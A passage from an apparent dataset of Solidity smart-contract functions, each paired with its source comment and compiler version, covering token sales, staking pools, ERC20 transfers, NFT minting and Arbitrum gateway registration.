PRICE_EXPONENT).div(10 ** RATE_EXPONENT);\r\n\r\n uint256 _bonusTokens = _tokens.mul(_bonus).div(100);\r\n _tokens = _tokens.add(_bonusTokens);\r\n \r\n //change of funds will be returned to funder\r\n if (sold.add(_tokens) > TOKENS_HARD_CAP) {\r\n _tokens = TOKENS_HARD_CAP.sub(sold);\r\n }\r\n token.safeTransferFrom(tokenFrom, _beneficiary, _tokens);\r\n sold = sold.add(_tokens);\r\n\r\n if (funders[_referer]) {\r\n uint256 _refererBonus = _tokens.mul(5).div(100);\r\n if (sold.add(_refererBonus) > TOKENS_HARD_CAP) {\r\n _refererBonus = TOKENS_HARD_CAP.sub(sold);\r\n }\r\n if (_refererBonus > 0) {\r\n token.safeTransferFrom(tokenFrom, _referer, _refererBonus);\r\n sold = sold.add(_refererBonus);\r\n RefererBonusEvent(_beneficiary, _referer, _orderId, _refererBonus);\r\n }\r\n }\r\n TokenPurchaseEvent(_beneficiary, _orderId, _funds, _tokens);\r\n }", "version": "0.4.19"} {"comment": "// View function to see pending pheonix on frontend.", "function_code": "function pendingPHX(address _user) \n external \n view \n returns (uint256) \n {\n UserInfo storage user = userInfo[_user];\n uint256 lpSupply = lpToken.balanceOf(address(this));\n uint256 accPhx = accPhxPerShare;\n if (block.number > lastRewardBlock && lpSupply != 0) {\n uint256 multiplier = getMultiplier(lastRewardBlock, block.number);\n \n uint256 phxReward = multiplier.mul(phxPerBlock).mul(allocPoint).div(totalAllocPoint);\n accPhx = accPhx.add(phxReward.mul(1e12).div(lpSupply));\n }\n return (user.amount.mul(accPhx).div(1e12).sub(user.rewardDebt));\n }", "version": "0.8.7"} {"comment": "// Deposit LP tokens to MasterChef for CAKE allocation.", "function_code": "function deposit( uint256 _amount) public {\n UserInfo storage user = userInfo[msg.sender];\n updatePool();\n if (user.amount > 0) {\n uint256 pending = user.amount.mul(accPhxPerShare).div(1e12).sub(user.rewardDebt);\n if(pending > 0) {\n phx.transfer(msg.sender, pending);\n }\n }\n if (_amount > 0) {\n lpToken.transferFrom(address(msg.sender), address(this), _amount);\n user.amount = user.amount.add(_amount);\n }\n user.rewardDebt = user.amount.mul(accPhxPerShare).div(1e12);\n emit Deposit(msg.sender, _amount);\n }", "version": "0.8.7"} {"comment": "// function acc() public view returns(uint256){\n// return accPhxPerShare;\n// }\n// function userInf() public view returns(uint256,uint256){\n// return (userInfo[msg.sender].amount,userInfo[msg.sender].rewardDebt);\n// }\n// function utils() public view returns(uint256){\n// return (block.number);\n// }\n// function getPhx() public view returns(uint256){\n// uint256 multiplier = getMultiplier(lastRewardBlock, block.number);\n// uint256 phxReward = multiplier.mul(phxPerBlock).mul(allocPoint).div(totalAllocPoint);\n// return phxReward;\n// }\n// Withdraw LP tokens from MasterChef.", "function_code": "function withdraw(uint256 _amount) public {\n\n UserInfo storage user = userInfo[msg.sender];\n require(user.amount >= _amount, \"withdraw: not good\");\n\n updatePool();\n uint256 pending = user.amount.mul(accPhxPerShare).div(1e12).sub(user.rewardDebt);\n if(pending > 0) {\n phx.transfer(msg.sender, pending);\n }\n if(_amount > 0) {\n user.amount = user.amount.sub(_amount);\n lpToken.transfer(address(msg.sender), _amount);\n }\n user.rewardDebt = user.amount.mul(accPhxPerShare).div(1e12);\n emit Withdraw(msg.sender, _amount);\n }", "version": "0.8.7"} {"comment": "/**\r\n \t * Returns the ratio of the first argument to the second argument.\r\n \t */", "function_code": "function outOf(uint256 _a, uint256 _b)\r\n\t\tinternal\r\n\t\tpure\r\n\t\treturns (uint256 result)\r\n\t{\r\n\t\tif (_a == 0) {\r\n\t\t\treturn 0;\r\n\t\t}\r\n\t\tuint256 a = _a.mul(basisValue);\r\n\t\tif (a < _b) {\r\n\t\t\treturn 0;\r\n\t\t}\r\n\t\treturn (a.div(_b));\r\n\t}", "version": "0.5.17"} {"comment": "/**\r\n \t * Validates passed address equals to the three addresses.\r\n \t */", "function_code": "function validate3Addresses(\r\n\t\taddress _addr,\r\n\t\taddress _target1,\r\n\t\taddress _target2,\r\n\t\taddress _target3\r\n\t) external pure {\r\n\t\tif (_addr == _target1) {\r\n\t\t\treturn;\r\n\t\t}\r\n\t\tif (_addr == _target2) {\r\n\t\t\treturn;\r\n\t\t}\r\n\t\trequire(_addr == _target3, errorMessage);\r\n\t}", "version": "0.5.17"} {"comment": "/**\r\n * @dev Updates the token metadata if the owner is also the creator.\r\n * @param _tokenId uint256 ID of the token.\r\n * @param _uri string metadata URI.\r\n */", "function_code": "function updateTokenMetadata(uint256 _tokenId, string memory _uri)\r\n public\r\n {\r\n require(_isApprovedOrOwner(msg.sender, _tokenId), \"BcaexOwnershipV2: transfer caller is not owner nor approved\");\r\n require(_exists(_tokenId), \"ERC721Metadata: URI query for nonexistent token\");\r\n _setTokenURI(_tokenId, _uri);\r\n emit TokenURIUpdated(_tokenId, _uri);\r\n }", "version": "0.6.2"} {"comment": "//~~ Methods based on Token.sol from Ethereum Foundation\n//~ Transfer FLIP", "function_code": "function transfer(address _to, uint256 _value) {\r\n if (_to == 0x0) throw; \r\n if (balanceOf[msg.sender] < _value) throw; \r\n if (balanceOf[_to] + _value < balanceOf[_to]) throw; \r\n balanceOf[msg.sender] -= _value; \r\n balanceOf[_to] += _value; \r\n Transfer(msg.sender, _to, _value); \r\n }", "version": "0.4.11"} {"comment": "// ------------------------------------------------------------------------\n// 2000000 FCOM Tokens per 1 ETH\n// ------------------------------------------------------------------------", "function_code": "function () public payable {\r\n require(now >= startDate && now <= endDate);\r\n uint tokens;\r\n /*\r\n\t\tif (now <= bonusEnds) {\r\n tokens = msg.value * 1200;\r\n } else {\r\n tokens = msg.value * 2000000;\r\n }\r\n\t\t*/\r\n\t\t\r\n\t\ttokens = msg.value * 2000000;\r\n\t\t\t\r\n balances[msg.sender] = safeAdd(balances[msg.sender], tokens);\r\n _totalSupply = safeAdd(_totalSupply, tokens);\r\n Transfer(address(0), msg.sender, tokens);\r\n owner.transfer(msg.value);\r\n }", "version": "0.4.21"} {"comment": "//function calcAmount(address _beneficiar) canMint public returns (uint256 amount) { //for test's", "function_code": "function calcAmount(address _beneficiar) canMint internal returns (uint256 amount) {\r\n if (countClaimsToken[_beneficiar] == 0) {\r\n countClaimsToken[_beneficiar] = 1;\r\n }\r\n if (countClaimsToken[_beneficiar] >= 1000) {\r\n return 0;\r\n }\r\n uint step = countClaimsToken[_beneficiar];\r\n amount = numberClaimToken.mul(105 - 5*step).div(100);\r\n countClaimsToken[_beneficiar] = countClaimsToken[_beneficiar].add(1);\r\n }", "version": "0.4.24"} {"comment": "//initialize rewards for v2 starting staking contracts", "function_code": "function setStakingRewards(\n\t\tINameService ns,\n\t\taddress[] memory contracts,\n\t\tuint256[] memory rewards\n\t) external onlyOwner {\n\t\trequire(contracts.length == rewards.length, \"staking length mismatch\");\n\t\tfor (uint256 i = 0; i < contracts.length; i++) {\n\t\t\t(bool ok, ) = controller.genericCall(\n\t\t\t\tns.getAddress(\"FUND_MANAGER\"),\n\t\t\t\tabi.encodeWithSignature(\n\t\t\t\t\t\"setStakingReward(uint32,address,uint32,uint32,bool)\",\n\t\t\t\t\trewards[i],\n\t\t\t\t\tcontracts[i],\n\t\t\t\t\t0,\n\t\t\t\t\t0,\n\t\t\t\t\tfalse\n\t\t\t\t),\n\t\t\t\tavatar,\n\t\t\t\t0\n\t\t\t);\n\t\t\trequire(ok, \"Calling setStakingRewards failed\");\n\t\t}\n\t}", "version": "0.8.8"} {"comment": "//add new reserve as minter\n//renounace minter from avatar\n//add reserve as global constraint on controller", "function_code": "function _setReserveSoleMinter(INameService ns) internal {\n\t\tbool ok;\n\t\t(ok, ) = controller.genericCall(\n\t\t\tns.getAddress(\"GOODDOLLAR\"),\n\t\t\tabi.encodeWithSignature(\"addMinter(address)\", ns.getAddress(\"RESERVE\")),\n\t\t\tavatar,\n\t\t\t0\n\t\t);\n\t\trequire(ok, \"Calling addMinter failed\");\n\n\t\t(ok, ) = controller.genericCall(\n\t\t\taddress(ns.getAddress(\"GOODDOLLAR\")),\n\t\t\tabi.encodeWithSignature(\"renounceMinter()\"),\n\t\t\tavatar,\n\t\t\t0\n\t\t);\n\t\trequire(ok, \"Calling renounceMinter failed\");\n\n\t\tok = controller.addGlobalConstraint(\n\t\t\tns.getAddress(\"RESERVE\"),\n\t\t\tbytes32(0x0),\n\t\t\tavatar\n\t\t);\n\n\t\trequire(ok, \"Calling addGlobalConstraint failed\");\n\t}", "version": "0.8.8"} {"comment": "//transfer funds(cdai + comp) from old reserve to new reserve/avatar\n//end old reserve\n//initialize new marketmaker with current cdai price, rr, reserves", "function_code": "function _setNewReserve(INameService ns) internal {\n\t\tbool ok;\n\n\t\taddress cdai = ns.getAddress(\"CDAI\");\n\t\tuint256 oldReserveCdaiBalance = ERC20(cdai).balanceOf(avatar);\n\n\t\tok = controller.externalTokenTransfer(\n\t\t\tcdai,\n\t\t\tns.getAddress(\"RESERVE\"),\n\t\t\toldReserveCdaiBalance,\n\t\t\tavatar\n\t\t);\n\n\t\trequire(ok, \"transfer cdai to new reserve failed\");\n\n\t\t(ok, ) = controller.genericCall(\n\t\t\tns.getAddress(\"MARKET_MAKER\"),\n\t\t\tabi.encodeWithSignature(\n\t\t\t\t\"initializeToken(address,uint256,uint256,uint32,uint256)\",\n\t\t\t\tcdai,\n\t\t\t\t604798140091,\n\t\t\t\t4325586750999495,\n\t\t\t\t805643,\n\t\t\t\t1645623572\n\t\t\t),\n\t\t\tavatar,\n\t\t\t0\n\t\t);\n\n\t\trequire(ok, \"calling marketMaker initializeToken failed\");\n\t}", "version": "0.8.8"} {"comment": "//set contracts in nameservice that are deployed after INameService is created\n//\tFUND_MANAGER RESERVE REPUTATION GDAO_STAKING GDAO_CLAIMERS ...", "function_code": "function _setNameServiceContracts(\n\t\tINameService ns,\n\t\tbytes32[] memory names,\n\t\taddress[] memory addresses\n\t) internal {\n\t\t(bool ok, ) = controller.genericCall(\n\t\t\taddress(ns),\n\t\t\tabi.encodeWithSignature(\n\t\t\t\t\"setAddresses(bytes32[],address[])\",\n\t\t\t\tnames,\n\t\t\t\taddresses\n\t\t\t),\n\t\t\tavatar,\n\t\t\t0\n\t\t);\n\t\trequire(ok, \"Calling setNameServiceContracts failed\");\n\t}", "version": "0.8.8"} {"comment": "// Deposit LP tokens to Hulkfarmer for HULK allocation.", "function_code": "function deposit(uint256 _pid, uint256 _amount) public {\r\n\t\tPoolInfo storage pool = poolInfo[_pid];\r\n\t\tUserInfo storage user = userInfo[_pid][msg.sender];\r\n\t\tupdatePool(_pid);\r\n\t\t// if user has any LP tokens staked, we would send the reward here\r\n\t\t// but NOT ANYMORE\r\n\t\t//\r\n\t\t// if (user.amount > 0) {\r\n\t\t// \tuint256 pending = user.amount.mul(pool.accPerShare).div(1e12).sub(\r\n\t\t// \t\tuser.rewardDebt\r\n\t\t// \t);\r\n\t\t// \tif (pending > 0) {\r\n\t\t// \t\tsafeTokenTransfer(msg.sender, pending);\r\n\t\t// \t}\r\n\t\t// }\r\n\t\tif (_amount > 0) {\r\n\t\t\tpool.lpToken.safeTransferFrom(\r\n\t\t\t\taddress(msg.sender),\r\n\t\t\t\taddress(this),\r\n\t\t\t\t_amount\r\n\t\t\t);\r\n\t\t\tuser.amount = user.amount.add(_amount);\r\n\t\t}\r\n\t\tuser.rewardDebt = user.amount.mul(pool.accPerShare).div(1e12);\r\n\t\temit Deposit(msg.sender, _pid, _amount);\r\n\t}", "version": "0.6.12"} {"comment": "// Initialize to have owner have 100,000,000,000 CL on contract creation\n// Constructor is called only once and can not be called again (Ethereum Solidity specification)", "function_code": "function CL() public {\r\n\r\n \r\n // Ensure token gets created once only\r\n require(tokenCreated == false);\r\n tokenCreated = true;\r\n\r\n owner = msg.sender;\r\n balances[owner] = totalSupply;\r\n\r\n // Final sanity check to ensure owner balance is greater than zero\r\n require(balances[owner] > 0);\r\n }", "version": "0.4.21"} {"comment": "// Function to distribute tokens to list of addresses by the provided amount\n// Verify and require that:\n// - Balance of owner cannot be negative\n// - All transfers can be fulfilled with remaining owner balance\n// - No new tokens can ever be minted except originally created 100,000,000,000", "function_code": "function distributeAirdrop(address[] addresses, uint256 amount) onlyOwner public {\r\n // Only allow undrop while token is locked\r\n // After token is unlocked, this method becomes permanently disabled\r\n //require(unlocked);\r\n\r\n // Amount is in Wei, convert to CL amount in 8 decimal places\r\n uint256 normalizedAmount = amount * 10**8;\r\n // Only proceed if there are enough tokens to be distributed to all addresses\r\n // Never allow balance of owner to become negative\r\n require(balances[owner] >= safeMul(addresses.length, normalizedAmount));\r\n for (uint i = 0; i < addresses.length; i++) {\r\n balances[owner] = safeSub(balanceOf(owner), normalizedAmount);\r\n balances[addresses[i]] = safeAdd(balanceOf(addresses[i]), normalizedAmount);\r\n Transfer(owner, addresses[i], normalizedAmount);\r\n }\r\n }", "version": "0.4.21"} {"comment": "// Withdraw LP tokens from Hulkfarmer.", "function_code": "function withdraw(uint256 _pid, uint256 _amount) public {\r\n\t\tPoolInfo storage pool = poolInfo[_pid];\r\n\t\tUserInfo storage user = userInfo[_pid][msg.sender];\r\n\t\trequire(user.amount >= _amount, 'withdraw: not good');\r\n\t\tupdatePool(_pid);\r\n\t\tuint256 pending = user.amount.mul(pool.accPerShare).div(1e12).sub(\r\n\t\t\tuser.rewardDebt\r\n\t\t);\r\n\t\tuint256 burnPending = 0;\r\n\t\tif (pending > 0) {\r\n\t\t\tburnPending = pending.mul(unstakeBurnRate).div(10000);\r\n\t\t\tuint256 sendPending = pending.sub(burnPending);\r\n\t\t\tif (token.totalSupply().sub(burnPending) < token.minSupply()) {\r\n\t\t\t\tburnPending = 0;\r\n\t\t\t\tsendPending = pending;\r\n\t\t\t}\r\n\t\t\tsafeTokenTransfer(msg.sender, sendPending);\r\n\t\t\tif (burnPending > 0) {\r\n\t\t\t\ttotalUnstakeBurn = totalUnstakeBurn.add(burnPending);\r\n\t\t\t\ttoken.burn(burnPending);\r\n\t\t\t}\r\n\t\t}\r\n\t\tif (_amount > 0) {\r\n\t\t\tuser.amount = user.amount.sub(_amount);\r\n\t\t\tpool.lpToken.safeTransfer(address(msg.sender), _amount);\r\n\t\t}\r\n\t\tuser.rewardDebt = user.amount.mul(pool.accPerShare).div(1e12);\r\n\t\temit Withdraw(msg.sender, _pid, _amount);\r\n\t}", "version": "0.6.12"} {"comment": "// Standard function transfer similar to ERC223 transfer with no _data .\n// Added due to backwards compatibility reasons .", "function_code": "function transfer(address _to, uint _value) public returns (bool success) {\r\n\r\n // Only allow transfer once unlocked\r\n // Once it is unlocked, it is unlocked forever and no one can lock again\r\n //require(unlocked);\r\n\r\n //standard function transfer similar to ERC223 transfer with no _data\r\n //added due to backwards compatibility reasons\r\n bytes memory empty;\r\n if (isContract(_to)) {\r\n return transferToContract(_to, _value, empty);\r\n } else {\r\n return transferToAddress(_to, _value, empty);\r\n }\r\n }", "version": "0.4.21"} {"comment": "// Allow transfers if the owner provided an allowance\n// Prevent from any transfers if token is not yet unlocked\n// Use SafeMath for the main logic", "function_code": "function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {\r\n // Only allow transfer once unlocked\r\n // Once it is unlocked, it is unlocked forever and no one can lock again\r\n //require(unlocked);\r\n // Protect against wrapping uints.\r\n require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]);\r\n uint256 allowance = allowed[_from][msg.sender];\r\n require(balances[_from] >= _value && allowance >= _value);\r\n balances[_to] = safeAdd(balanceOf(_to), _value);\r\n balances[_from] = safeSub(balanceOf(_from), _value);\r\n if (allowance < MAX_UINT256) {\r\n allowed[_from][msg.sender] = safeSub(allowed[_from][msg.sender], _value);\r\n }\r\n Transfer(_from, _to, _value);\r\n return true;\r\n }", "version": "0.4.21"} {"comment": "/// @param _amount amount in BASED to deposit", "function_code": "function deposit(uint _amount) public {\r\n require(_amount > 0, \"Nothing to deposit\");\r\n\r\n uint _pool = balance();\r\n based.transferFrom(msg.sender, address(this), _amount);\r\n uint _after = balance();\r\n _amount = _after.sub(_pool); // Additional check for deflationary baseds\r\n uint shares = 0;\r\n if (totalSupply() == 0) {\r\n shares = _amount;\r\n } else {\r\n shares = (_amount.mul(totalSupply())).div(_pool);\r\n }\r\n _mint(msg.sender, shares);\r\n }", "version": "0.5.17"} {"comment": "/**\r\n \t * Passthrough to `Lockup.difference` function.\r\n \t */", "function_code": "function difference(\r\n\t\tWithdrawStorage withdrawStorage,\r\n\t\taddress _property,\r\n\t\taddress _user\r\n\t)\r\n\t\tprivate\r\n\t\tview\r\n\t\treturns (\r\n\t\t\tuint256 _reward,\r\n\t\t\tuint256 _holdersAmount,\r\n\t\t\tuint256 _holdersPrice,\r\n\t\t\tuint256 _interestAmount,\r\n\t\t\tuint256 _interestPrice\r\n\t\t)\r\n\t{\r\n\t\t/**\r\n\t\t * Gets and passes the last recorded cumulative sum of the maximum mint amount.\r\n\t\t */\r\n\t\tuint256 _last = withdrawStorage.getLastCumulativeGlobalHoldersPrice(\r\n\t\t\t_property,\r\n\t\t\t_user\r\n\t\t);\r\n\t\treturn ILockup(config().lockup()).difference(_property, _last);\r\n\t}", "version": "0.5.17"} {"comment": "/**\r\n \t * Returns the holder reward.\r\n \t */", "function_code": "function _calculateAmount(address _property, address _user)\r\n\t\tprivate\r\n\t\tview\r\n\t\treturns (uint256 _amount, uint256 _price)\r\n\t{\r\n\t\tWithdrawStorage withdrawStorage = getStorage();\r\n\r\n\t\t/**\r\n\t\t * Gets the latest cumulative sum of the maximum mint amount,\r\n\t\t * and the difference to the previous withdrawal of holder reward unit price.\r\n\t\t */\r\n\t\t(uint256 reward, , uint256 _holdersPrice, , ) = difference(\r\n\t\t\twithdrawStorage,\r\n\t\t\t_property,\r\n\t\t\t_user\r\n\t\t);\r\n\r\n\t\t/**\r\n\t\t * Gets the ownership ratio of the passed user and the Property.\r\n\t\t */\r\n\t\tuint256 balance = ERC20Mintable(_property).balanceOf(_user);\r\n\r\n\t\t/**\r\n\t\t * Multiplied by the number of tokens to the holder reward unit price.\r\n\t\t */\r\n\t\tuint256 value = _holdersPrice.mul(balance);\r\n\r\n\t\t/**\r\n\t\t * Returns the result after adjusted decimals to 10^18, and the latest cumulative sum of the maximum mint amount.\r\n\t\t */\r\n\t\treturn (value.divBasis().divBasis(), reward);\r\n\t}", "version": "0.5.17"} {"comment": "/**\r\n \t * Returns the total rewards currently available for withdrawal. (For calling from inside the contract)\r\n \t */", "function_code": "function _calculateWithdrawableAmount(address _property, address _user)\r\n\t\tprivate\r\n\t\tview\r\n\t\treturns (uint256 _amount, uint256 _price)\r\n\t{\r\n\t\t/**\r\n\t\t * Gets the latest withdrawal reward amount.\r\n\t\t */\r\n\t\t(uint256 _value, uint256 price) = _calculateAmount(_property, _user);\r\n\r\n\t\t/**\r\n\t\t * If the passed Property has not authenticated, returns always 0.\r\n\t\t */\r\n\t\tif (\r\n\t\t\tIMetricsGroup(config().metricsGroup()).hasAssets(_property) == false\r\n\t\t) {\r\n\t\t\treturn (0, price);\r\n\t\t}\r\n\r\n\t\t/**\r\n\t\t * Gets the reward amount of before DIP4.\r\n\t\t */\r\n\t\tuint256 legacy = __legacyWithdrawableAmount(_property, _user);\r\n\r\n\t\t/**\r\n\t\t * Gets the reward amount in saved without withdrawal and returns the sum of all values.\r\n\t\t */\r\n\t\tuint256 value = _value\r\n\t\t\t.add(getStorage().getPendingWithdrawal(_property, _user))\r\n\t\t\t.add(legacy);\r\n\t\treturn (value, price);\r\n\t}", "version": "0.5.17"} {"comment": "/**\r\n \t * Returns the cumulative sum of the holder rewards of the passed Property.\r\n \t */", "function_code": "function calculateTotalWithdrawableAmount(address _property)\r\n\t\texternal\r\n\t\tview\r\n\t\treturns (uint256)\r\n\t{\r\n\t\t(, uint256 _amount, , , ) = ILockup(config().lockup()).difference(\r\n\t\t\t_property,\r\n\t\t\t0\r\n\t\t);\r\n\r\n\t\t/**\r\n\t\t * Adjusts decimals to 10^18 and returns the result.\r\n\t\t */\r\n\t\treturn _amount.divBasis().divBasis();\r\n\t}", "version": "0.5.17"} {"comment": "/**\r\n \t * Returns the reward amount of the calculation model before DIP4.\r\n \t * It can be calculated by subtracting \"the last cumulative sum of reward unit price\" from\r\n \t * \"the current cumulative sum of reward unit price,\" and multiplying by the balance of the user.\r\n \t */", "function_code": "function __legacyWithdrawableAmount(address _property, address _user)\r\n\t\tprivate\r\n\t\tview\r\n\t\treturns (uint256)\r\n\t{\r\n\t\tWithdrawStorage withdrawStorage = getStorage();\r\n\t\tuint256 _last = withdrawStorage.getLastWithdrawalPrice(\r\n\t\t\t_property,\r\n\t\t\t_user\r\n\t\t);\r\n\t\tuint256 price = withdrawStorage.getCumulativePrice(_property);\r\n\t\tuint256 priceGap = price.sub(_last);\r\n\t\tuint256 balance = ERC20Mintable(_property).balanceOf(_user);\r\n\t\tuint256 value = priceGap.mul(balance);\r\n\t\treturn value.divBasis();\r\n\t}", "version": "0.5.17"} {"comment": "/**\r\n * @notice Approves tokens from signatory to be spent by `spender`\r\n * @param spender The address to receive the tokens\r\n * @param rawAmount The amount of tokens to be sent to spender\r\n * @param nonce The contract state required to match the signature\r\n * @param expiry The time at which to expire the signature\r\n * @param v The recovery byte of the signature\r\n * @param r Half of the ECDSA signature pair\r\n * @param s Half of the ECDSA signature pair\r\n */", "function_code": "function approveBySig(address spender, uint rawAmount, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public {\r\n bytes32 structHash = keccak256(abi.encode(APPROVE_TYPE_HASH, spender, rawAmount, nonce, expiry));\r\n bytes32 digest = keccak256(abi.encodePacked(\"\\x19\\x01\", domainSeparator, structHash));\r\n address signatory = ecrecover(digest, v, r, s);\r\n require(signatory != address(0), \"DMG::approveBySig: invalid signature\");\r\n require(nonce == nonces[signatory]++, \"DMG::approveBySig: invalid nonce\");\r\n require(now <= expiry, \"DMG::approveBySig: signature expired\");\r\n\r\n uint128 amount;\r\n if (rawAmount == uint(- 1)) {\r\n amount = uint128(- 1);\r\n } else {\r\n amount = SafeBitMath.safe128(rawAmount, \"DMG::approveBySig: amount exceeds 128 bits\");\r\n }\r\n _approveTokens(signatory, spender, amount);\r\n }", "version": "0.5.13"} {"comment": "// these are for communication from router to gateway", "function_code": "function encodeFromRouterToGateway(address _from, bytes calldata _data)\n internal\n pure\n returns (bytes memory res)\n {\n // abi decode may revert, but the encoding is done by L1 gateway, so we trust it\n return abi.encode(_from, _data);\n }", "version": "0.6.12"} {"comment": "/**\r\n * Multiply two uint256 values, throw in case of overflow.\r\n *\r\n * @param x first value to multiply\r\n * @param y second value to multiply\r\n * @return x * y\r\n */", "function_code": "function safeMul (uint256 x, uint256 y)\r\n pure internal\r\n returns (uint256 z) {\r\n if (y == 0) return 0; // Prevent division by zero at the next line\r\n assert (x <= MAX_UINT256 / y);\r\n return x * y;\r\n }", "version": "0.4.20"} {"comment": "/**\r\n * Transfer given number of tokens from message sender to given recipient.\r\n *\r\n * @param _to address to transfer tokens to the owner of\r\n * @param _value number of tokens to transfer to the owner of given address\r\n * @return true if tokens were transferred successfully, false otherwise\r\n */", "function_code": "function transfer (address _to, uint256 _value)\r\n public returns (bool success) {\r\n uint256 fromBalance = accounts [msg.sender];\r\n if (fromBalance < _value) return false;\r\n if (_value > 0 && msg.sender != _to) {\r\n accounts [msg.sender] = safeSub (fromBalance, _value);\r\n accounts [_to] = safeAdd (accounts [_to], _value);\r\n }\r\n Transfer (msg.sender, _to, _value);\r\n return true;\r\n }", "version": "0.4.20"} {"comment": "/**\r\n * Burn given number of tokens belonging to message sender.\r\n *\r\n * @param _value number of tokens to burn\r\n * @return true on success, false on error\r\n */", "function_code": "function burnTokens (uint256 _value) public returns (bool success) {\r\n if (_value > accounts [msg.sender]) return false;\r\n else if (_value > 0) {\r\n accounts [msg.sender] = safeSub (accounts [msg.sender], _value);\r\n tokenCount = safeSub (tokenCount, _value);\r\n\r\n Transfer (msg.sender, address (0), _value);\r\n return true;\r\n } else return true;\r\n }", "version": "0.4.20"} {"comment": "/// @notice Function to mint non-fungible tokens, pause contract, check amount minted is > 0, and doesn't exceed the maxMintAmount or maxSupply\n/// @param _mintAmount tracks number of NFTs minted", "function_code": "function mint(uint256 _mintAmount) public payable {\n require(!paused, \"the contract is paused\");\n uint256 supply = totalSupply();\n require(_mintAmount > 0, \"need to mint at least 1 NFT\");\n require(\n _mintAmount <= maxMintAmount,\n \"max mint amount per session exceeded\"\n );\n require(supply + _mintAmount <= maxSupply, \"max NFT limit exceeded\");\n\n /// @notice Minter should be whitelisted (allowed to mint), otherwise forbid sender from minting\n if (msg.sender != owner()) {\n if (onlyWhitelisted == true) {\n require(isWhitelisted(msg.sender), \"user is not whitelisted\");\n uint256 ownerMintedCount = addressMintedBalance[msg.sender];\n require(\n ownerMintedCount + _mintAmount <= nftPerAddressLimit,\n \"max NFT per address exceeded\"\n );\n }\n /// @notice Address balance should be greater or equal to the mint amount\n require(msg.value >= cost * _mintAmount, \"insufficient funds\");\n }\n\n for (uint256 i = 1; i <= _mintAmount; i++) {\n addressMintedBalance[msg.sender]++;\n _safeMint(msg.sender, supply + i);\n }\n }", "version": "0.8.10"} {"comment": "/// @notice we keep track of tokenIds owner possesses\n/// @dev tokenIds are kept in memory for efficiency\n/// @return tokenIds of wallet owner", "function_code": "function walletOfOwner(address _owner)\n public\n view\n returns (uint256[] memory)\n {\n uint256 ownerTokenCount = balanceOf(_owner);\n uint256[] memory tokenIds = new uint256[](ownerTokenCount);\n for (uint256 i; i < ownerTokenCount; i++) {\n tokenIds[i] = tokenOfOwnerByIndex(_owner, i);\n }\n return tokenIds;\n }", "version": "0.8.10"} {"comment": "/// @notice we require a token Id to exist\n/// @dev if contract is not revealed, show temporary uniform resource identifier\n/// @return current base uniform resource identifier, or return nothing", "function_code": "function tokenURI(uint256 tokenId)\n public\n view\n virtual\n override\n returns (string memory)\n {\n require(\n _exists(tokenId),\n \"ERC721Metadata: URI query for nonexistent token\"\n );\n\n if (revealed == false) {\n return notRevealedUri;\n }\n\n string memory currentBaseURI = _baseURI();\n return\n bytes(currentBaseURI).length > 0\n ? string(\n abi.encodePacked(\n currentBaseURI,\n tokenId.toString(),\n baseExtension\n )\n )\n : \"\";\n }", "version": "0.8.10"} {"comment": "/// @notice only owner can withdraw ether from contract", "function_code": "function withdraw() public payable onlyOwner {\n /// @notice Donate 10% to Assemble Pittsburgh\n (bool assemble, ) = payable(0xc1353fE8bd78aE6f5449da47203523D2edEaCc59)\n .call{value: (address(this).balance * 10) / 100}(\"\");\n require(assemble);\n\n /// @notice Donate 10% to Black Girls Code\n (bool blackGirls, ) = payable(\n 0x11708796f919758A0A0Af6B801E8F45382D5E2F3\n ).call{value: (address(this).balance * 10) / 100}(\"\");\n require(blackGirls);\n\n /// @notice Donate 10% to Hack Club\n (bool hackClub, ) = payable(0xdC425B61f1d3E753AE2a915f2a146B18A34B388a)\n .call{value: (address(this).balance * 10) / 100}(\"\");\n require(hackClub);\n\n (bool superboys, ) = payable(0x7757aCa28c46526948C631AE1E6170a6C67b16ea)\n .call{value: address(this).balance}(\"\");\n require(superboys);\n }", "version": "0.8.10"} {"comment": "/**\n * @notice internal utility function used to handle when no contract is deployed at expected address\n */", "function_code": "function handleNoContract(\n address _l1Token,\n address, /* expectedL2Address */\n address _from,\n address, /* _to */\n uint256 _amount,\n bytes memory /* gatewayData */\n ) internal override returns (bool shouldHalt) {\n // it is assumed that the custom token is deployed in the L2 before deposits are made\n // trigger withdrawal\n // we don't need the return value from triggerWithdrawal since this is forcing a withdrawal back to the L1\n // instead of composing with a L2 dapp\n triggerWithdrawal(_l1Token, address(this), _from, _amount, \"\");\n return true;\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Allows L1 Token contract to trustlessly register its custom L2 counterpart.\n * param _l2Address counterpart address of L1 token\n * param _maxGas max gas for L2 retryable exrecution\n * param _gasPriceBid gas price for L2 retryable ticket\n * param _maxSubmissionCost base submission cost L2 retryable tick3et\n * param _creditBackAddress address for crediting back overpayment of _maxSubmissionCost\n * return Retryable ticket ID\n */", "function_code": "function registerTokenToL2(\n address _l2Address,\n uint256 _maxGas,\n uint256 _gasPriceBid,\n uint256 _maxSubmissionCost,\n address _creditBackAddress\n ) public payable returns (uint256) {\n require(\n ArbitrumEnabledToken(msg.sender).isArbitrumEnabled() == uint8(0xa4b1),\n \"NOT_ARB_ENABLED\"\n );\n\n address currL2Addr = l1ToL2Token[msg.sender];\n if (currL2Addr != address(0)) {\n // if token is already set, don't allow it to set a different L2 address\n require(currL2Addr == _l2Address, \"NO_UPDATE_TO_DIFFERENT_ADDR\");\n }\n\n l1ToL2Token[msg.sender] = _l2Address;\n\n address[] memory l1Addresses = new address[](1);\n address[] memory l2Addresses = new address[](1);\n l1Addresses[0] = msg.sender;\n l2Addresses[0] = _l2Address;\n\n emit TokenSet(l1Addresses[0], l2Addresses[0]);\n\n bytes memory _data = abi.encodeWithSelector(\n L2CustomGateway.registerTokenFromL1.selector,\n l1Addresses,\n l2Addresses\n );\n\n return\n sendTxToL2(\n inbox,\n counterpartGateway,\n _creditBackAddress,\n msg.value,\n 0,\n _maxSubmissionCost,\n _maxGas,\n _gasPriceBid,\n _data\n );\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Allows owner to force register a custom L1/L2 token pair.\n * @dev _l1Addresses[i] counterpart is assumed to be _l2Addresses[i]\n * @param _l1Addresses array of L1 addresses\n * @param _l2Addresses array of L2 addresses\n * @param _maxGas max gas for L2 retryable exrecution\n * @param _gasPriceBid gas price for L2 retryable ticket\n * @param _maxSubmissionCost base submission cost L2 retryable tick3et\n * @return Retryable ticket ID\n */", "function_code": "function 